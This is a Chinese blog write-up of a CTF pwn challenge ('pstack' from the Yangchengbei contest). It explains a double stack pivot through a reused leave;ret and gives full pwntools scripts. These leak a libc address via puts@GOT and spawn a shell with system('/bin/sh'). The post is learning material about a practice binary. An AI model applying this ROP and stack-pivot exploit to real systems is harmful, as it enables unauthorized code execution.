title: 羊城杯比赛pwn复现
date: 2024-09-05 20:12:19
categories: ctf-比赛复现
本篇学习的思路来自这个大佬
实力有限,只复现出了pstack这一题
pstack
知识点
这个题目是个很经典的栈迁移的题目,因为栈溢出的空间不够,但是常规的栈迁移一般有方法获得一个地址来进行leave_ret
这个题目有个很妙的点
这里call 完read后面有一个leave_ret(平时没注意过)
本题的核心就在于对这里进行反复利用
题解
由于leave_ret这
个指令
两次这样就可以控制rbp 和rsp
这里重点讲下调用vuln_read这个函数后面的过程
这里我们动态调试
from pwn import *
from LibcSearcher import *
context(log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
gdb.attach(p)
pause()
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
p.send(payload)
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
pause()
p.sendline(payload)
p.interactive()
第二个payload是我cyclic 64生成的垃圾数据,主要看函数执行的地址到哪
这里可以看到这个还是在0x30后面进行的溢出地址
下面接着调试
from pwn import *
from LibcSearcher import *
context(log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
gdb.attach(p)
pause()
p.sendafter(b'overflow?',payload)
#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))
libc_base=leak_addr
read=leak_addr+libc.sym['write']
print(hex(read))
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']
payload=b'aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg'
pause()
p.send(payload)
p.interactive()
可以看到在rbpgggggggg卡住了
所以
在这里leave_ret
exp 如下
from pwn import *
from LibcSearcher import *
context(log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
gdb.attach(p)
pause()
p.sendafter(b'overflow?',payload)
#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))
libc_base=leak_addr
read=leak_addr+libc.sym['write']
print(hex(read))
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']
payload=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'\x00')
payload+=p64(bss+0x200-0x8)+p64(leave_ret)
pause()
p.send(payload)
p.interactive()
标签:p64,puts,libc,bss,read,羊城,复现,pwn,payload
From: https://blog.csdn.net/yufeiyu66/article/details/141962401